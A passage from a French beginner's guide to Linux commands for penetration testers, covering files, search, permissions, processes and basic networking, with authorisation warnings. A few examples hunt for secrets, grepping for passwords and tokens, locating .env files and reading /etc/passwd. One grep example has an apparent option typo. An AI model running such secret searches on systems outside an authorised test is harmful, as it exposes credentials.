Linux pour le Pentesting

Guide de commandes essentielles et avancées

Kali Linux • Ubuntu • Debian • Parrot OS

Raphaël Bouchard-Tremblay

Mise en page : ChatGPT

Pour les juniors pentesters et les personnes en début de carrière en cybersécurité. Retrouvez une commande, comprenez son rôle, puis adaptez un exemple à votre environnement.

Trouver une réponse rapidement

Votre besoin	Où aller
Je connais le nom de la commande	Index alphabétique, pages 3 et 4.
Je cherche une action à réaliser	Sommaire par contexte, page 2.
Je ne comprends pas un sigle	Vocabulaire utile, page 5.
Je cherche une wordlist	Section 17, listes classées par taille et contexte.

Lire les exemples

Une fiche contient une utilité, une syntaxe, les options utiles, un exemple et son résultat. Les crochets [ ] indiquent un élément facultatif : ne pas les taper. Les lignes ne contiennent pas le symbole d'invite du terminal.

À remplacer	Signification
192.0.2.20 / 192.0.2.10	Adresses de documentation : cible / poste opérateur.
lab.test / dc.lab.test	Noms fictifs : domaine / contrôleur de domaine.
analyste / auditeur	Comptes existants autorisés à réaliser l'action.
notes.txt / mots.txt / capture.pcapng	Fichiers à fournir avant la commande qui les lit.

À retenir : N'exécuter les tests que sur les systèmes autorisés. Vérifier la cible, les droits et le fichier de sortie ; sudo n'est pas nécessaire pour toutes les commandes.

Sommaire par contexte

Niveau	Repère
1 • Débutant cybersécurité	Fichiers, permissions, processus et bases réseau.
2 • Débutant pentest	Ports, web, services et transferts simples.
3 • Intermédiaire	Annuaire, captures et analyse de permissions.
4 • Avancé	Shells distants et outils d’analyse locale.

Les niveaux décrivent la difficulté de chaque fiche. Les sections restent regroupées par tâche pour retrouver rapidement un outil.

Section	Page
01 Commandes Linux de base	6
02 Navigation et recherche	14
03 Gestion des permissions	20
04 Gestion des processus	24
05 Réseau Linux	30
06 Scanner de ports	34
07 Énumération web	36
08 Énumération réseau	40
09 Énumération SMB	43
10 Énumération Active Directory	45
11 Capture réseau	47
12 Transfert de fichiers	50
13 Reverse shells et bind shells	52
14 Escalade de privilèges Linux	53
15 Journalisation et logs	57
16 Astuces Linux pour pentesters	59
17 Wordlists selon le contexte	63

Index des commandes 1 sur 2

Cliquez sur un nom pour ouvrir sa fiche. Dans un lecteur de document, la recherche textuelle retrouve aussi une option ou un mot précis.

Commande	Page	Commande	Page
alias	59	find	14
arp	31	find pour les permissions	53
arp-scan	40	getcap	54
auth.log et syslog	58	getfacl	23
awk	17	gobuster	38
bash	6	grep	16
bg	27	gzip	61
bloodhound-python	45	head	11
cat	10	history	59
cd	7	htop	25
chgrp	22	ifconfig	30
chmod	21	ip	30
chown	21	jobs	26
cp	9	journalctl	57
crackmapexec	43	kill	25
curl	36	killall	26
cut	19	ldapsearch	45
dmesg	57	less	10
egrep et grep -E	16	linpeas	54
enum4linux	41	locate	14
enum4linux-ng	44	ls et ls -la	7
feroxbuster	39	mkdir	8
ffuf	38	mv	9
fg	27	nano	12

Index des commandes 2 sur 2

Commande	Page	Commande	Page
nbtscan	41	smbmap	43
nc	51	sort	18
ncat	52	ss	33
netdiscover	40	sudo -l	53
netexec et nxc	46	systemctl	28
netstat	33	tail	11
nikto	37	tar	60
nmap	34	tcpdump	47
nohup	28	tee	62
ping	32	top	24
ps	24	touch	13
pspy	55	traceroute	32
pwd	6	tshark	47
python3 -m http.server	51	umask	22
Redirections et pipelines Bash	60	uniq	18
rm	8	vim	12
route	31	watch	62
rpcclient	42	wget	36
rsync	50	whatweb	37
scp	50	whereis	15
sed	17	which	15
service	29	wireshark	48
setfacl	23	xargs	19
smbclient	42	zip	61

Vocabulaire utile

Ces sigles reviennent dans les commandes et leurs résultats. La dernière colonne donne le sens à retenir.

Sigle	Nom complet	En clair
ACL	Access Control List	Droits supplémentaires sur un fichier.
AD	Active Directory	Annuaire des comptes, machines et groupes.
API	Application Programming Interface	Interface d’échange entre logiciels.
ARP	Address Resolution Protocol	Recherche d’une adresse matérielle sur le lien local.
Bash	Bourne Again SHell	Programme qui interprète les commandes.
CE	Community Edition	Édition communautaire, notamment de BloodHound.
CSV	Comma-Separated Values	Tableau de données enregistré en texte.
DNS	Domain Name System	Associe notamment les noms aux adresses.
GNU	GNU’s Not Unix	Projet qui fournit de nombreux outils Linux.
HTTP	Hypertext Transfer Protocol	Protocole d’échange des pages web.
HTTPS	HTTP Secure	HTTP protégé par TLS.
ICMP	Internet Control Message Protocol	Messages de contrôle réseau, utilisés par ping.
IP	Internet Protocol	Adressage des machines et acheminement des paquets.
JSON	JavaScript Object Notation	Format texte structuré de résultats.
LDAP	Lightweight Directory Access Protocol	Protocole de lecture et gestion d’un annuaire.
LDAPS	LDAP sur TLS	Connexion LDAP protégée dès son ouverture.
NetBIOS	Network Basic Input Output System	Services historiques de noms et de sessions.
OS	Operating System	Système d’exploitation.
PCAP / PCAPNG	Packet Capture / Packet Capture Next Generation	Formats de capture de paquets.
PID	Process Identifier	Numéro d’un processus.
RPC	Remote Procedure Call	Appel d’une fonction sur un système distant.
SMB	Server Message Block	Partage de fichiers sur un réseau.
SSH	Secure Shell	Connexion distante et transferts chiffrés.
TCP / UDP	Transmission Control Protocol / User Datagram Protocol	Deux modes de transport des données réseau.
TLS	Transport Layer Security	Chiffrement et vérification d’identité.
URL	Uniform Resource Locator	Adresse d’une ressource, par exemple une page.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base

Se repérer, lire et manipuler les fichiers. Un shell interprète vos commandes ; les exemples utilisent Bash. Un chemin commençant par / est absolu ; . est le dossier courant, .. son parent et ~ votre dossier personnel.

bash • Niveau 1

Exécute des commandes et des scripts, c'est-à-dire des fichiers contenant des commandes.

Syntaxe bash [options] [script.sh]

Options et arguments utiles

Élément	Explication
-n	Vérifie la syntaxe sans exécuter le script.
-o pipefail	Signale aussi l'échec d'une étape avant la fin d'un pipeline.
-x	Affiche les commandes exécutées ; peut révéler des secrets.

Exemple

```
bash -n audit.sh
```

Résultat Aucune sortie si la syntaxe du script est correcte.

À retenir La vérification de syntaxe ne garantit pas le fonctionnement. sh script.sh utilise le shell système ; un script Bash doit être lancé avec bash.

pwd • Niveau 1

Affiche le dossier dans lequel vous travaillez.

Syntaxe pwd [-L|-P]

Options et arguments utiles

Élément	Explication
-P	Affiche le chemin réel, en suivant les liens symboliques.
-L	Conserve le chemin logique utilisé pour arriver au dossier.

Exemple

```
pwd -P
```

Résultat Le chemin complet du dossier courant.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

ls et ls -la • Niveau 1

Liste les fichiers et dossiers ; utile pour repérer les fichiers cachés et leurs droits.

Syntaxe ls [options] [chemin]

Options et arguments utiles

Élément	Explication
-l	Affiche les détails, dont les permissions et le propriétaire.
-a	Inclut les noms cachés, comme .env et .ssh.
-h	Avec -l, affiche des tailles lisibles, par exemple 4,0K.
-d	Décrit le dossier lui-même : ls -ld dossier.

Exemple

```
ls -lah
```

Résultat Les noms, droits, propriétaires et tailles des fichiers.

---

cd • Niveau 1

Change de dossier.

Syntaxe cd [dossier]

Options et arguments utiles

Élément	Explication
Sans argument	Revient dans votre dossier personnel.
..	Remonte au dossier parent : cd ..
-	Revient au dossier précédent : cd -

Exemple

```
cd "Mes notes"
```

Résultat Les prochaines commandes s’exécutent dans ce dossier.

À retenir Mettre entre guillemets les chemins contenant des espaces.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

mkdir • Niveau 1

Crée un dossier pour ranger les fichiers d'un audit.

Syntaxe mkdir [options] dossier...

Options et arguments utiles

Élément	Explication
-p	Crée les parents manquants ; accepte un dossier déjà présent.
-m 700	Réserve le nouveau dossier à son propriétaire.

Exemple

```
mkdir -p mission/scans
```

Résultat Le dossier scans et son parent mission existent.

rm • Niveau 1

Supprime des fichiers ou des dossiers.

Syntaxe rm [options] -- chemin...

Options et arguments utiles

Élément	Explication
-i	Demande confirmation pour chaque suppression.
-r	Supprime un dossier et son contenu.
--	Termine les options ; protège les noms commençant par -.

Exemple

```
rm -i -- brouillon.txt
```

Résultat Demande confirmation avant de supprimer le fichier.

À retenir rm n'utilise pas la corbeille. Vérifier le chemin avant de supprimer ; éviter -rf par habitude.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

cp • Niveau 1

Copie un fichier ou un dossier.

Syntaxe cp [options] source destination

Options et arguments utiles

Élément	Explication
-i	Demande confirmation avant d’écraser.
-r	Copie un dossier et son contenu.
-a	Copie en conservant autant que possible les attributs et liens.

Exemple

```
cp -i notes.txt notes-copie.txt
```

Résultat Crée une copie et demande confirmation si elle existe déjà.

mv • Niveau 1

Déplace ou renomme un fichier.

Syntaxe mv [options] source destination

Options et arguments utiles

Élément	Explication
-i	Demande confirmation avant d’écraser.
-n	N’écrase pas un fichier existant.
-v	Affiche ce qui a été déplacé ou renommé.

Exemple

```
mv -i brouillon.txt rapport.txt
```

Résultat Renomme le fichier, avec confirmation en cas de remplacement.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

cat • Niveau 1

Affiche le contenu d’un petit fichier texte.

Syntaxe cat [options] [fichier...]

Options et arguments utiles

Élément	Explication
-n	Numérote toutes les lignes.
-A	Rend visibles les tabulations et les fins de ligne.

Exemple

```
cat -n notes.txt
```

Résultat Le texte apparaît avec ses numéros de ligne.

À retenir Pour un gros fichier, utiliser less. Éviter d’afficher des fichiers binaires dans le terminal.

less • Niveau 1

Lit un fichier sans l’ouvrir dans un éditeur.

Syntaxe less [options] fichier

Options et arguments utiles

Élément	Explication
-N	Affiche les numéros de ligne.
/mot puis Entrée	Cherche un mot ; n passe au résultat suivant.
q	Ferme la lecture sans modifier le fichier.

Exemple

```
less -N application.log
```

Résultat Le fichier s’ouvre dans une vue défilante.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

head • Niveau 1

Affiche le début d’un fichier, par exemple les premières entrées d’une wordlist.

Syntaxe head [-n nombre] fichier

Options et arguments utiles

Élément	Explication
-n 10	Limite l’affichage à dix lignes.
-c 100	Limite l’affichage à cent octets.

Exemple

```
head -n 10 mots.txt
```

Résultat Les dix premières lignes.

tail • Niveau 1

Affiche la fin d’un fichier et peut suivre les nouvelles lignes d’un journal.

Syntaxe tail [options] fichier

Options et arguments utiles

Élément	Explication
-n 20	Affiche les vingt dernières lignes.
-f	Suit les ajouts au fichier ouvert.
-F	Suit le nom du fichier, même après son remplacement.

Exemple

```
tail -n 20 -F application.log
```

Résultat Les vingt dernières lignes, puis les nouvelles entrées.

À retenir Ctrl+C arrête le suivi.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

nano • Niveau 1

Modifie un fichier texte avec des raccourcis affichés à l’écran.

Syntaxe nano [options] fichier

Options et arguments utiles

Élément	Explication
-l	Affiche les numéros de ligne.
Ctrl+O puis Entrée	Enregistre le fichier.
Ctrl+X	Quitte l’éditeur.

Exemple

```
nano notes.txt
```

Résultat Le fichier s’ouvre pour modification.

vim • Niveau 2

Modifie un fichier en séparant la saisie de texte et les commandes de l’éditeur.

Syntaxe vim [options] fichier

Options et arguments utiles

Élément	Explication
i puis Échap	Entre en saisie, puis revient au mode normal.
:wq puis Entrée	Enregistre et quitte.
:q! puis Entrée	Quitte sans enregistrer les modifications.

Exemple

```
vim notes.txt
```

Résultat Le fichier s’ouvre en mode normal.

CONSULTATION PAR COMMANDE • SECTION 01

01 Commandes Linux de base suite

touch • Niveau 1

Crée un fichier vide s’il n’existe pas, sinon actualise ses dates.

Syntaxe touch [options] fichier...

Options et arguments utiles

Élément	Explication
-c	Ne crée pas de fichier manquant.
-r reference.txt	Copie les dates d’accès et de modification de la référence.

Exemple

```
touch notes.txt
```

Résultat Le fichier existe ; son contenu éventuel est conservé.

À retenir Ne pas utiliser sur une preuve à préserver : les dates seraient modifiées.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche

Trouver un fichier ou une information dans le périmètre accessible à votre compte. Pour les fichiers sensibles, commencer par leurs noms avant d'afficher leur contenu.

find • Niveau 1

Recherche des fichiers selon leur nom, leur type ou leurs permissions.

Syntaxe find racine [tests] [actions]

Options et arguments utiles

Élément	Explication
-type f	Ne garde que les fichiers ordinaires.
-name / -iname	Cherche un nom ; -iname ignore la casse.
-maxdepth 2	Limite la profondeur de recherche à deux niveaux.
-perm -0002	Repère les fichiers accessibles en écriture aux autres.

Exemple

```
find ./projet -type f -name ".env"
```

Résultat Les chemins des fichiers .env présents dans projet.

À retenir Un fichier sensible trouvé n'est pas forcément lisible. Éviter -delete pendant la recherche.

locate • Niveau 1

Retrouve rapidement un nom dans un index de fichiers.

Syntaxe locate [options] motif

Options et arguments utiles

Élément	Explication
-i	Ignore les majuscules et minuscules.
-e	Ne conserve que les chemins qui existent encore.
-l 20	Limite la sortie à vingt résultats.

Exemple

```
locate -i "config.php"
```

Résultat Les chemins présents dans l'index.

À retenir L'index peut être ancien. Un fichier absent des résultats peut quand même exister.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche suite

which • Niveau 1

Indique où se trouve un programme recherché dans PATH.

Syntaxe which [options] programme

Options et arguments utiles

Élément	Explication
-a	Affiche tous les chemins trouvés.
command -v nmap	Variante du shell qui prend aussi en compte les alias.
type -a nmap	Distingue programme, alias et fonction dans Bash.

Exemple

```
which -a nmap
```

Résultat Les installations de Nmap trouvées dans les dossiers de PATH.

À retenir PATH est la liste des dossiers dans lesquels le shell cherche les programmes.

whereis • Niveau 1

Cherche le programme et son manuel dans les emplacements connus.

Syntaxe whereis [options] programme

Options et arguments utiles

Élément	Explication
-b	Recherche seulement les programmes.
-m	Recherche seulement les manuels.
-s	Recherche seulement les sources.

Exemple

```
whereis -b nmap
```

Résultat Les emplacements connus du programme.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche suite

grep • Niveau 1

Cherche un texte dans des fichiers ; utile pour repérer des références à des secrets.

Syntaxe grep [options] motif [fichier...]

Options et arguments utiles

Élément	Explication
-R / -I	Parcourt les dossiers / ignore les fichiers binaires.
-l / -n	Affiche les noms de fichiers / les numéros de ligne.
-i / -E	Ignore la casse / accepte des alternatives avec |.
-F	Cherche un texte exact, sans expression régulière.

Exemple

```
grep -RIIE "password|token|secret" ./projet
```

Résultat Les noms des fichiers contenant au moins un de ces mots.

À retenir Commencer par -l pour éviter d'afficher les secrets eux-mêmes.

egrep et grep -E • Niveau 2

Cherche plusieurs formes de texte avec une expression régulière.

Syntaxe grep -E [options] expression fichier

Options et arguments utiles

Élément	Explication
-E	Active les expressions régulières étendues ; remplace egrep.
-i / -n	Ignore la casse / affiche le numéro de ligne.
-o	Affiche uniquement la partie qui correspond au motif.

Exemple

```
grep -Ein "error|warning" application.log
```

Résultat Les lignes contenant error ou warning, avec leur numéro.

À retenir Utiliser grep -E dans les nouvelles commandes ; egrep est une ancienne forme.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche suite

awk • Niveau 2

Extrait ou compte des données dans un texte organisé en colonnes.

Syntaxe awk [options] 'programme' fichier

Options et arguments utiles

Élément	Explication
-F:	Utilise le caractère : comme séparateur de colonnes.
$1 / $2	Désigne la première / deuxième colonne.
END {print NR}	Affiche le nombre total de lignes lues.

Exemple

```
awk -F: '{print $1}' /etc/passwd
```

Résultat Les noms des comptes définis dans ce fichier local.

sed • Niveau 2

Affiche certaines lignes ou remplace du texte.

Syntaxe sed [options] 'expression' fichier

Options et arguments utiles

Élément	Explication
-n	Désactive l’affichage automatique.
1,20p	Affiche la plage de lignes 1 à 20.
s/ancien/nouveau/g	Remplace toutes les occurrences sur chaque ligne.
-i.bak	Modifie le fichier et conserve une copie avec le suffixe .bak.

Exemple

```
sed -n '1,20p' config.ini
```

Résultat Les lignes 1 à 20, sans modifier le fichier.

À retenir Sans -i, le résultat est affiché ; le fichier d’origine reste inchangé.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche suite

sort • Niveau 1

Trie les lignes d'un fichier.

Syntaxe sort [options] fichier

Options et arguments utiles

Élément	Explication
-u	Ne conserve qu'une occurrence de chaque ligne.
-n	Trie les nombres selon leur valeur, pas comme du texte.
-r	Inverse l'ordre du tri.

Exemple

```
sort -u cibles.txt
```

Résultat La liste triée, sans doublons identiques.

uniq • Niveau 1

Supprime ou compte les répétitions de lignes voisines.

Syntaxe uniq [options] [fichier]

Options et arguments utiles

Élément	Explication
-c	Affiche le nombre d'occurrences.
-d	Affiche seulement les lignes répétées.
-u	Affiche seulement les lignes présentes une seule fois.

Exemple

```
sort acces.txt | uniq -c
```

Résultat Le nombre d'occurrences de chaque ligne.

À retenir uniq ne rapproche pas les doublons éloignés : trier d'abord si l'ordre peut changer.

CONSULTATION PAR COMMANDE • SECTION 02

02 Navigation et recherche suite

cut • Niveau 1

Extrait des champs séparés par un caractère simple.

Syntaxe cut -d separateur -f champs fichier

Options et arguments utiles

Élément	Explication
-d:	Choisit : comme séparateur.
-f1,3	Extrait les champs 1 et 3.
-c1-8	Extrait les caractères 1 à 8.

Exemple

```
cut -d: -f1 /etc/passwd
```

Résultat Le premier champ de chaque ligne : le nom du compte.

À retenir cut ne comprend pas toutes les règles des fichiers CSV, notamment les champs entre guillemets.

xargs • Niveau 2

Transforme une liste reçue en entrée en arguments d'une commande.

Syntaxe xargs [options] commande [arguments]

Options et arguments utiles

Élément	Explication
-0	Lit les noms séparés par un caractère nul, avec find -print0.
-r	Ne lance rien si la liste est vide, avec la version GNU.
-n 1	Passe un argument par lancement de commande.
sha256sum	Calcule une empreinte de contrôle pour chaque fichier transmis par xargs.

Exemple

```
find ./notes -type f -print0 | xargs -0 -r sha256sum
```

Résultat Une empreinte de contrôle pour chaque fichier.

À retenir Utiliser -print0 et -0 pour les noms contenant des espaces ou des retours à la ligne.

REPÈRES • NIVEAUX 1 À 3

03 Comprendre les permissions

Les trois groupes de droits concernent, dans l'ordre, le propriétaire, le groupe et les autres. Exemple : -rw-r----- correspond à un fichier en mode 640.

Droit	Sur un fichier	Sur un dossier
r = 4	Lire le contenu.	Lister les noms.
w = 2	Modifier le contenu.	Créer ou supprimer des entrées, avec x.
x = 1	Exécuter le programme.	Traverser le dossier et accéder aux éléments autorisés.

Mode	Usage courant
600	Fichier privé : lecture et écriture pour le propriétaire.
640	Fichier privé avec lecture pour le groupe.
700	Dossier privé ; le propriétaire peut y entrer.
750	Dossier accessible au propriétaire et au groupe.

Bits spéciaux

Bit	Effet à connaître
SUID • 4000	Set User ID : un exécutable peut prendre l'identité effective de son propriétaire.
SGID • 2000	Set Group ID : effet similaire pour le groupe ; sur un dossier, les créations héritent du groupe.
Sticky Bit • 1000	Réserve la suppression ou le renommage au propriétaire du fichier, à celui du dossier ou à root. Exemple : /tmp en 1777.

Contrôle simple

```
ls -ld dossier
getfacl dossier
```

À retenir Les ACL complètent ces droits. Un script utilisé par root et modifiable par un compte limité mérite une vérification ; les droits du dossier parent comptent aussi.

CONSULTATION PAR COMMANDE • SECTION 03

03 Gestion des permissions

Lire les droits avant de les modifier. Les permissions classiques s’appliquent au propriétaire, au groupe, puis aux autres utilisateurs.

chmod • Niveau 1

Change les droits d’accès d’un fichier ou d’un dossier.

Syntaxe chmod [options] mode chemin

Options et arguments utiles

Élément	Explication
600 / 700	Fichier privé / dossier privé avec droit d’entrer.
u+x	Ajoute le droit d’exécution au propriétaire.
o-w	Retire l’écriture aux autres utilisateurs.
-R	Applique le changement à toute l’arborescence.

Exemple

```
chmod 600 cle-audit
```

Résultat Seul le propriétaire peut lire et modifier la clé.

À retenir Éviter chmod 777 et les changements récursifs sans vérifier les fichiers concernés.

chown • Niveau 1

Change le propriétaire d’un fichier.

Syntaxe chown [options] utilisateur[:groupe] chemin

Options et arguments utiles

Élément	Explication
utilisateur:groupe	Change le propriétaire et le groupe ensemble.
--reference=modele	Reprend le propriétaire et le groupe d’un autre fichier.
-R	Applique le changement aux éléments contenus dans un dossier.

Exemple

```
sudo chown analyste:analyste notes.txt
```

Résultat Le compte et le groupe analyste deviennent propriétaires.

À retenir Le compte et le groupe doivent exister. Réserver sudo aux modifications nécessaires.

CONSULTATION PAR COMMANDE • SECTION 03

03 Gestion des permissions suite

chgrp • Niveau 1

Change le groupe propriétaire d’un fichier.

Syntaxe chgrp [options] groupe chemin

Options et arguments utiles

Élément	Explication
groupe	Nom du nouveau groupe, auquel vous devez être autorisé à affecter le fichier.
-R	Change aussi le groupe du contenu d’un dossier.
--reference=modele	Reprend le groupe d’un fichier de référence.

Exemple

```
chgrp analyste notes.txt
```

Résultat Le fichier appartient au groupe analyste.

umask • Niveau 2

Fixe les droits retirés par défaut aux nouveaux fichiers et dossiers.

Syntaxe umask [mode]

Options et arguments utiles

Élément	Explication
Sans argument	Affiche le masque courant.
077	Retire les droits du groupe et des autres.
-S	Affiche le masque sous forme de lettres.

Exemple

```
umask 077
```

Résultat Les créations ordinaires deviennent privées : fichiers 600, dossiers 700.

À retenir Ne modifie pas les fichiers existants ; les droits demandés et les ACL peuvent changer le résultat.

CONSULTATION PAR COMMANDE • SECTION 03

03 Gestion des permissions suite

getfacl • Niveau 2

Affiche les droits supplémentaires définis par une liste de contrôle d’accès.

Syntaxe getfacl [options] chemin

Options et arguments utiles

Élément	Explication
-p	Conserve les chemins absolus dans la sortie.
-R	Lit les droits de toute une arborescence.
-e	Affiche les droits effectifs, après application du masque ACL.

Exemple

```
getfacl notes.txt
```

Résultat Les droits du propriétaire, des utilisateurs nommés et des groupes.

setfacl • Niveau 2

Accorde ou retire des droits à un utilisateur sans changer le propriétaire.

Syntaxe setfacl [options] chemin

Options et arguments utiles

Élément	Explication
-m	Ajoute ou modifie une règle.
-x u:auditeur	Supprime la règle de cet utilisateur.
-b	Supprime les ACL étendues du fichier.

Exemple

```
setfacl -m u:auditeur:r-- notes.txt
```

Résultat Le compte auditeur reçoit un accès en lecture.

À retenir Vérifier ensuite avec getfacl ; le masque ACL peut limiter les droits effectifs.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus

Identifier les programmes et les services actifs. Un processus est un programme en cours ; un service fournit une fonction durable, comme l'accès SSH.

ps • Niveau 1

Affiche un instantané des programmes en cours d'exécution.

Syntaxe ps [options]

Options et arguments utiles

Élément	Explication
-e	Sélectionne tous les processus visibles.
-o pid,user,comm	Choisit les colonnes affichées.
--sort=user	Trie les processus par nom d'utilisateur.
aux	Forme courante : tous les processus, avec charge et commande.

Exemple

```
ps -eo pid,user,comm --sort=user
```

Résultat Les identifiants, utilisateurs et noms des processus.

À retenir Une ligne de commande complète peut contenir un secret ; limiter ce qui est conservé.

top • Niveau 1

Affiche en continu la charge et les processus les plus actifs.

Syntaxe top [options]

Options et arguments utiles

Élément	Explication
-p 1234	Suit seulement ce processus.
P / M	Trie par processeur / mémoire dans l'interface.
q	Quitte l'affichage.

Exemple

```
top
```

Résultat Une vue actualisée des processus et de leur consommation.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus suite

htop • Niveau 1

Présente les processus dans une interface interactive facile à parcourir.

Syntaxe htop [options]

Options et arguments utiles

Élément	Explication
-u analyste	Filtre sur un utilisateur.
-p 1234	Filtre sur un identifiant de processus.
F3 / F5	Recherche un nom / affiche l'arbre des processus.

Exemple

```
htop
```

Résultat Une liste interactive des processus.

À retenir Peut nécessiter l'installation du paquet htop.

kill • Niveau 1

Envoie un signal à un processus, généralement pour lui demander de s'arrêter.

Syntaxe kill [-SIGNAL] PID

Options et arguments utiles

Élément	Explication
-TERM	Demande un arrêt propre ; signal utilisé par défaut.
-KILL	Force l'arrêt sans nettoyage par le programme.
-0	Vérifie l'existence et l'autorisation, sans arrêter le processus.

Exemple

```
kill -TERM 1234
```

Résultat Une demande d'arrêt est envoyée au processus 1234.

À retenir Remplacer 1234 par le bon identifiant. Vérifier avec ps ; garder -KILL en dernier recours.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus suite

killall • Niveau 2

Envoie un signal aux processus qui portent un même nom.

Syntaxe killall [options] nom

Options et arguments utiles

Élément	Explication
-i	Demande confirmation.
-u analyste	Limite la sélection à cet utilisateur.
-TERM	Demande un arrêt propre.

Exemple

```
killall -i -TERM sleep
```

Résultat Demande confirmation avant d'arrêter chaque processus sleep.

À retenir Le nom peut désigner plusieurs processus. Préférer kill pour une cible précise.

jobs • Niveau 1

Liste les tâches lancées depuis le shell courant.

Syntaxe jobs [options]

Options et arguments utiles

Élément	Explication
-l	Affiche aussi les identifiants de processus.
-r	Montre les tâches en cours.
-s	Montre les tâches suspendues.

Exemple

```
jobs -l
```

Résultat Les numéros de tâches et leurs identifiants de processus.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus suite

bg • Niveau 1

Reprend en arrière-plan une tâche suspendue du shell courant.

Syntaxe bg [%numero]

Options et arguments utiles

Élément	Explication
%1	Numéro de tâche donné par jobs ; ce n’est pas un PID.
Sans argument	Reprend la tâche courante du shell.

Exemple

```
bg %1
```

Résultat La tâche numéro 1 reprend sans occuper le premier plan.

À retenir Une tâche qui attend une saisie au clavier peut se suspendre de nouveau.

fg • Niveau 1

Ramène une tâche au premier plan du terminal.

Syntaxe fg [%numero]

Options et arguments utiles

Élément	Explication
%1	Sélectionne la tâche 1 affichée par jobs.
Sans argument	Sélectionne la tâche courante.

Exemple

```
fg %1
```

Résultat La tâche numéro 1 reprend au premier plan.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus suite

nohup • Niveau 2

Lance un programme qui ignore le signal habituel de fermeture du terminal.

Syntaxe nohup commande [arguments]

Options et arguments utiles

Élément	Explication
> fichier 2>&1	Enregistre la sortie et les erreurs ensemble.
&	Lance la tâche en arrière-plan ; ce symbole appartient au shell.
nohup.out	Sortie utilisée par défaut si aucune redirection adaptée n'est prévue.

Exemple

```
nohup ./inventaire.sh > inventaire.log 2>&1 &
```

Résultat Le script tourne en arrière-plan et écrit dans inventaire.log.

À retenir Le script doit être présent et exécutable. nohup ne remplace pas un gestionnaire de services.

systemctl • Niveau 2

Consulte ou pilote les services gérés par systemd.

Syntaxe systemctl [options] action [unite]

Options et arguments utiles

Élément	Explication
status NOM	Affiche l'état d'un service.
list-units --type=service	Liste les services chargés.
cat NOM	Affiche la définition et les réglages du service.
--no-pager	Affiche directement la sortie, sans lecteur interactif.

Exemple

```
systemctl status ssh --no-pager
```

Résultat L'état du service SSH et ses dernières entrées de journal.

À retenir Pour identifier un service intéressant, rapprocher son état des ports vus avec ss.

CONSULTATION PAR COMMANDE • SECTION 04

04 Gestion des processus suite

service • Niveau 2

Consulte un service par l’interface historique, encore disponible sur certains systèmes.

Syntaxe service nom action

Options et arguments utiles

Élément	Explication
NOM status	Consulte le service indiqué.
--status-all	Affiche l’état des scripts de service reconnus.
NOM restart	Redémarre un service ; peut couper les connexions.

Exemple

```
service ssh status
```

Résultat L’état du service, si ce nom existe sur la machine.

À retenir Avec systemd, privilégier systemctl. Le nom du service peut varier selon la distribution.

CONSULTATION PAR COMMANDE • SECTION 05

05 Réseau Linux

Identifier votre interface et votre passerelle, puis vérifier le trajet vers une cible. Les interfaces peuvent s’appeler eth0, enp0s3 ou autrement : utiliser le nom réellement affiché.

ip • Niveau 1

Affiche les interfaces, les adresses, les voisins et les routes réseau.

Syntaxe ip [options] objet commande

Options et arguments utiles

Élément	Explication
-br address	Résume les adresses par interface.
route	Affiche les routes utilisées pour joindre les réseaux.
neigh	Affiche les voisins connus sur le lien local.
route get ADRESSE	Indique le chemin choisi vers cette adresse.

Exemple

```
ip -br address
ip route show default
```

Résultat Les adresses locales, puis la passerelle par défaut.

ifconfig • Niveau 1

Affiche les interfaces avec un outil historique du paquet net-tools.

Syntaxe ifconfig [interface] [options]

Options et arguments utiles

Élément	Explication
-a	Affiche toutes les interfaces.
eth0	Affiche seulement cette interface, si elle existe.

Exemple

```
ifconfig -a
```

Résultat Les interfaces connues, y compris celles qui sont désactivées.

À retenir Pour les nouvelles commandes, utiliser ip address.

CONSULTATION PAR COMMANDE • SECTION 05

05 Réseau Linux suite

arp • Niveau 2

Affiche le cache de correspondance entre adresses IPv4 et adresses matérielles locales.

Syntaxe arp [options]

Options et arguments utiles

Élément	Explication
-n	N’essaie pas de convertir les adresses en noms.
-a	Affiche les entrées connues du cache.

Exemple

```
arp -n
```

Résultat Les voisins enregistrés, avec leurs adresses numériques.

À retenir Le cache n’est pas un inventaire complet du réseau. Équivalent moderne : ip neigh.

route • Niveau 1

Affiche les routes avec l’ancien outil du paquet net-tools.

Syntaxe route [options]

Options et arguments utiles

Élément	Explication
-n	Affiche les adresses sans rechercher leurs noms.
-A inet6	Sélectionne la table IPv6.

Exemple

```
route -n
```

Résultat Les destinations, passerelles et interfaces de sortie.

À retenir Utiliser ip route pour les nouvelles commandes.

CONSULTATION PAR COMMANDE • SECTION 05

05 Réseau Linux suite

ping • Niveau 1

Vérifie si une machine répond aux requêtes de contrôle réseau.

Syntaxe ping [options] hote

Options et arguments utiles

Élément	Explication
-c 4	Envoie quatre requêtes, puis s’arrête.
-W 2	Attend au maximum deux secondes une réponse, sous Linux iputils.
-I eth0	Utilise l’interface indiquée.

Exemple

```
ping -c 4 192.0.2.20
```

Résultat Quatre essais avec temps de réponse et pertes éventuelles.

À retenir Une absence de réponse ne prouve pas que la machine est éteinte : le trafic peut être filtré.

traceroute • Niveau 2

Montre les étapes réseau visibles entre votre machine et une destination.

Syntaxe traceroute [options] hote

Options et arguments utiles

Élément	Explication
-n	Affiche les adresses sans résolution de noms.
-m 12	Limite le nombre de sauts.
-I	Utilise des requêtes ICMP ; peut demander des privilèges.

Exemple

```
traceroute -n -m 12 192.0.2.20
```

Résultat Jusqu’à douze sauts, avec les délais de réponse.

À retenir Une étoile indique une réponse absente ; elle ne localise pas à elle seule une panne.

CONSULTATION PAR COMMANDE • SECTION 05

05 Réseau Linux suite

